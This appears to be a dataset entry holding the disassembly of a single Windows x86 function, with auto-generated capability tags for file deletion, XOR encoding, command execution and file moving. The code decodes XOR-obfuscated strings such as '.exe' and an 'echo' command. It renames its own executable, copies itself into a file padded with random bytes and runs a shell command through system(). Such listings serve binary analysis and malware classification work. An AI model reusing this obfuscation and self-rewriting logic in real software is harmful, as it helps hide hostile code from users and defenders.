Function at 0x4559b0
Capabilities:
Delete file
Encode data using xor
Execute command
Move file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x47b24d
mov eax, dword fs:[0]
push eax
sub esp, 0x994
mov eax, dword [0x49d008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x104
lea eax, [ebp - 0x118]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x118]
mov dword [ebp - 0x958], 0
mov dword [ebp - 0x948], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x944], 0xf
mov byte [ebp - 0x958], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x455a20
sub ecx, edx
lea eax, [ebp - 0x118]
push ecx
push eax
lea ecx, [ebp - 0x958]
call fcn.00474d00
lea edx, [ebp - 0x958]
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x6c8]
call fcn.0043d040
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x944]
cmp ecx, 0x10
jb 0x455a94
mov edx, dword [ebp - 0x958]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x455a8a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x455a8a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00476ef0
add esp, 8
lea ecx, [ebp - 0x6b0]
mov dword [ebp - 0x948], 0
mov dword [ebp - 0x944], 0xf
mov byte [ebp - 0x958], 0
call fcn.0043d140
mov byte [ebp - 4], 3
lea edi, [ebp - 0x6b0]
cmp dword [ebp - 0x69c], 0x10
cmovae edi, dword [ebp - 0x6b0]
xor ecx, ecx
mov byte [ebp - 0x904], 0x30
mov byte [ebp - 0x903], 0x60
mov byte [ebp - 0x902], 0x60
mov byte [ebp - 0x901], 0
mov al, byte [ebp - 0x904]
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x904]
dec al
mov byte [ebp + ecx - 0x904], al
inc ecx
cmp ecx, 3
jb 0x455b00
lea ecx, [ebp - 0x93c]
mov dword [ebp - 0x940], 0x21
mov byte [ebp - 0x93c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x988], 0
mov byte [ebp - 0x93c], 0
mov dword [ebp - 0x978], 0
mov dword [ebp - 0x974], 0xf
mov byte [ebp - 0x988], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x455b60
sub ecx, edx
lea eax, [ebp - 0x93c]
push ecx
push eax
lea ecx, [ebp - 0x988]
call fcn.00474d00
mov byte [ebp - 4], 4
xor edx, edx
mov dword [ebp - 0x924], 0x54
mov byte [ebp - 0x920], 0x7a
mov byte [ebp - 0x91f], 0x31
mov byte [ebp - 0x91e], 0x2c
mov byte [ebp - 0x91d], 0x31
mov al, byte [ebp - 0x920]
mov byte [ebp - 0x91c], 0
nop word [eax + eax]
mov al, byte [ebp + edx - 0x920]
mov ecx, dword [ebp - 0x924]
xor cl, al
mov byte [ebp + edx - 0x920], cl
inc edx
cmp edx, 4
jb 0x455bc0
lea ecx, [ebp - 0x920]
mov dword [ebp - 0x970], 0
mov byte [ebp - 0x91c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x960], 0
mov dword [ebp - 0x95c], 0xf
mov byte [ebp - 0x970], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x455c11
sub ecx, edx
lea eax, [ebp - 0x920]
push ecx
push eax
lea ecx, [ebp - 0x970]
call fcn.00474d00
lea eax, [ebp - 0x988]
mov byte [ebp - 4], 5
push eax
sub esp, 0x18
lea eax, [ebp - 0x6c8]
mov ecx, esp
lea esi, [ebp - 0x970]
push eax
call fcn.00474480
mov edx, esi
lea ecx, [ebp - 0x9a0]
call fcn.0043c710
mov esi, eax
add esp, 0x1c
cmp dword [esi + 0x14], 0x10
jb 0x455c69
mov esi, dword [esi]
mov ecx, dword [ebp - 0x98c]
cmp ecx, 0x10
jb 0x455ca3
mov edx, dword [ebp - 0x9a0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x455c99
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x455d43
push ecx
push edx
call fcn.00476ef0
add esp, 8
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x95c]
mov dword [ebp - 0x990], 0
mov dword [ebp - 0x98c], 0xf
mov byte [ebp - 0x9a0], 0
cmp ecx, 0x10
jb 0x455cf8
mov edx, dword [ebp - 0x970]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x455cee
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x455d43
push ecx
push edx
call fcn.00476ef0
add esp, 8
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x974]
mov dword [ebp - 0x960], 0
mov dword [ebp - 0x95c], 0xf
mov byte [ebp - 0x970], 0
cmp ecx, 0x10
jb 0x455d53
mov edx, dword [ebp - 0x988]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x455d49
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x455d49
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00476ef0
add esp, 8
mov dword [ebp - 0x978], 0
mov dword [ebp - 0x974], 0xf
mov byte [ebp - 0x988], 0
mov dword [ebp - 0x914], 0x4f
mov eax, dword [ebp - 0x914]
xor al, 0x5f
mov byte [ebp - 0x910], al
mov eax, dword [ebp - 0x914]
inc al
xor al, 0x5f
mov byte [ebp - 0x90f], al
mov eax, dword [ebp - 0x914]
add al, 2
xor al, 0x61
mov byte [ebp - 0x90e], al
mov eax, dword [ebp - 0x914]
add al, 3
xor al, 0x73
mov byte [ebp - 0x90d], al
mov eax, dword [ebp - 0x914]
add al, 4
xor al, 0x64
mov byte [ebp - 0x90c], al
mov eax, dword [ebp - 0x914]
add al, 5
xor al, 0x2e
mov byte [ebp - 0x90b], al
mov eax, dword [ebp - 0x914]
add al, 6
xor al, 0x65
mov byte [ebp - 0x90a], al
mov eax, dword [ebp - 0x914]
add al, 7
xor al, 0x78
mov byte [ebp - 0x909], al
mov eax, dword [ebp - 0x914]
add al, 8
mov byte [ebp - 0x907], 0
xor al, 0x65
xor edx, edx
mov byte [ebp - 0x908], al
mov al, byte [ebp - 0x910]
nop word [eax + eax]
mov al, byte [ebp + edx - 0x910]
mov ecx, dword [ebp - 0x914]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0x910], cl
inc edx
cmp edx, 9
jb 0x455e20
push edi
lea eax, [ebp - 0x3d8]
mov byte [ebp - 0x907], 0
push 0x2bc
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
mov ebx, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea eax, [ebp - 0x904]
add esp, 0xc
push eax
lea eax, [ebp - 0x3d8]
push 0x2bc
push eax
call ebx
add esp, 0xc
lea eax, [ebp - 0x3d8]
push esi
push 0x2bc
push eax
call ebx
add esp, 0xc
lea eax, [ebp - 0x910]
push eax
lea eax, [ebp - 0x3d8]
push 0x2bc
push eax
call ebx
add esp, 0xc
lea eax, [ebp - 0x900]
push 0xb8
push 0
push eax
call sub.VCRUNTIME140.dll_memset
lea eax, [ebp - 0x3d8]
push eax
lea ecx, [ebp - 0x900]
call fcn.00472ba0
mov byte [ebp - 4], 6
mov eax, dword [ebp - 0x900]
mov eax, dword [eax + 4]
cmp dword [ebp + eax - 0x8f4], 0
jne 0x455f16
lea ecx, [ebp - 0x8f0]
call fcn.00474910
test eax, eax
jne 0x455f06
push eax
mov eax, dword [ebp - 0x900]
lea ecx, [ebp - 0x900]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
lea eax, [ebp - 0x3d8]
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 4
lea eax, [ebp - 0x3d8]
push eax
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
push 0xc0
lea eax, [ebp - 0x848]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x3d8]
lea ecx, [ebp - 0x848]
push 0x21
push eax
call fcn.00472a70
push 0xc0
lea eax, [ebp - 0x788]
mov byte [ebp - 4], 7
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 4
lea eax, [ebp - 0x118]
lea ecx, [ebp - 0x788]
push 0x22
push eax
call fcn.00472a70
mov byte [ebp - 4], 8
mov edi, 0xd0c5
mov esi, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov ebx, 3
call esi
cdq
idiv ebx
cmp edx, 1
jl 0x455fb0
push 0x11
lea ecx, [ebp - 0x778]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::put_char_]
jmp 0x455fbf
call esi
cdq
mov ecx, 0x32
idiv ecx
cmp edx, 0x14
jge 0x455fdb
push 0x20
lea ecx, [ebp - 0x778]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::put_char_]
push 0x11
lea ecx, [ebp - 0x778]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::put_char_]
sub edi, 1
jne 0x455f96
lea ecx, [ebp - 0x848]
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::basic_istream_char__struct_std::char_traits_char__::get_void_]
mov byte [ebp - 0x918], al
mov eax, dword [ebp - 0x848]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x83c], 1
jne 0x456055
nop word [eax + eax]
push dword [ebp - 0x918]
lea ecx, [ebp - 0x778]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::put_char_]
push 0x11
lea ecx, [ebp - 0x778]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::put_char_]
lea ecx, [ebp - 0x848]
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::basic_istream_char__struct_std::char_traits_char__::get_void_]
mov byte [ebp - 0x918], al
mov eax, dword [ebp - 0x848]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x83c], 1
je 0x456010
mov edi, 0x5b81
nop word [eax + eax]
call esi
cdq
idiv ebx
cmp edx, 1
jl 0x45607a
push 0x11
lea ecx, [ebp - 0x778]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::put_char_]
jmp 0x456089
call esi
cdq
mov ecx, 0x32
idiv ecx
cmp edx, 0x14
jge 0x4560a5
push 0x20
lea ecx, [ebp - 0x778]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::put_char_]
push 0x11
lea ecx, [ebp - 0x778]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::put_char_]
sub edi, 1
jne 0x456060
lea ecx, [ebp - 0x830]
call fcn.00474910
mov ebx, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
test eax, eax
jne 0x4560d7
mov eax, dword [ebp - 0x848]
lea ecx, [ebp - 0x848]
push edi
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
lea ecx, [ebp - 0x770]
call fcn.00474910
test eax, eax
jne 0x4560fe
push eax
mov eax, dword [ebp - 0x788]
lea ecx, [ebp - 0x788]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov dword [ebp - 0x938], 0x7a
xor edx, edx
mov byte [ebp - 0x934], 0x1f
mov byte [ebp - 0x933], 0x19
mov byte [ebp - 0x932], 0x12
mov byte [ebp - 0x931], 0x15
mov byte [ebp - 0x930], 0x5a
mov byte [ebp - 0x92f], 0x5d
mov byte [ebp - 0x92e], 0x7a
mov byte [ebp - 0x92d], 0x5d
mov byte [ebp - 0x92c], 0x5a
mov byte [ebp - 0x92b], 0x44
mov byte [ebp - 0x92a], 0x44
mov byte [ebp - 0x929], 0x5a
mov al, byte [ebp - 0x934]
mov byte [ebp - 0x928], 0
nop dword [eax + eax]
mov al, byte [ebp + edx - 0x934]
mov ecx, dword [ebp - 0x938]
xor cl, al
mov byte [ebp + edx - 0x934], cl
inc edx
cmp edx, 0xc
jb 0x456170
cmp dword [ebp - 0x6b4], 0x10
lea eax, [ebp - 0x934]
push eax
lea eax, [ebp - 0x698]
mov byte [ebp - 0x928], 0
push 0x2bc
lea esi, [ebp - 0x6c8]
cmovae esi, dword [ebp - 0x6c8]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
add esp, 0xc
lea eax, [ebp - 0x698]
push esi
push 0x2bc
push eax
call ebx
add esp, 0xc
lea eax, [ebp - 0x698]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [ebp - 0x788]
add esp, 4
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_fstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_fstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x788]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x78]
mov dword [ebp + ecx - 0x78c], eax
mov byte [ebp - 4], 9
cmp dword [ebp - 0x724], 0
mov dword [ebp - method.std::basic_filebuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
je 0x456253
mov eax, dword [ebp - 0x764]
lea ecx, [ebp - 0x734]
cmp dword [eax], ecx
jne 0x456253
mov edx, dword [ebp - 0x71c]
mov ecx, dword [ebp - 0x720]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebp - 0x754]
mov dword [eax], ecx
mov eax, dword [ebp - 0x744]
mov dword [eax], edx
cmp byte [ebp - 0x728], 0
je 0x456267
lea ecx, [ebp - 0x770]
call fcn.00474910
lea ecx, [ebp - 0x770]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x768]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x710]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov eax, dword [ebp - 0x848]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_fstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_fstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x848]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x78]
mov dword [ebp + ecx - 0x84c], eax
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0x7e4], 0
mov dword [ebp - method.std::basic_filebuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
je 0x4562f9
mov eax, dword [ebp - 0x824]
lea ecx, [ebp - 0x7f4]
cmp dword [eax], ecx
jne 0x4562f9
mov edx, dword [ebp - 0x7dc]
mov ecx, dword [ebp - 0x7e0]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebp - 0x814]
mov dword [eax], ecx
mov eax, dword [ebp - 0x804]
mov dword [eax], edx
cmp byte [ebp - 0x7e8], 0
je 0x45630d
lea ecx, [ebp - 0x830]
call fcn.00474910
lea ecx, [ebp - 0x830]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x828]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x7d0]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov eax, dword [ebp - 0x900]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x900]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x904], eax
mov byte [ebp - 4], 0xb
cmp dword [ebp - 0x8a4], 0
mov dword [ebp - method.std::basic_filebuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
je 0x45639f
mov eax, dword [ebp - 0x8e4]
lea ecx, [ebp - 0x8b4]
cmp dword [eax], ecx
jne 0x45639f
mov edx, dword [ebp - 0x89c]
mov ecx, dword [ebp - 0x8a0]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebp - 0x8d4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x8c4]
mov dword [eax], edx
cmp byte [ebp - 0x8a8], 0
je 0x4563b3
lea ecx, [ebp - 0x8f0]
call fcn.00474910
lea ecx, [ebp - 0x8f0]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x8e8]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_istream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x890]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov ecx, dword [ebp - 0x69c]
cmp ecx, 0x10
jb 0x45640d
mov edx, dword [ebp - 0x6b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x456403
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x456454
push ecx
push edx
call fcn.00476ef0
add esp, 8
mov ecx, dword [ebp - 0x6b4]
mov dword [ebp - 0x6a0], 0
mov dword [ebp - 0x69c], 0xf
mov byte [ebp - 0x6b0], 0
cmp ecx, 0x10
jb 0x456464
mov edx, dword [ebp - 0x6c8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45645a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x45645a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00476ef0
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00476b4c
mov esp, ebp
pop ebp
ret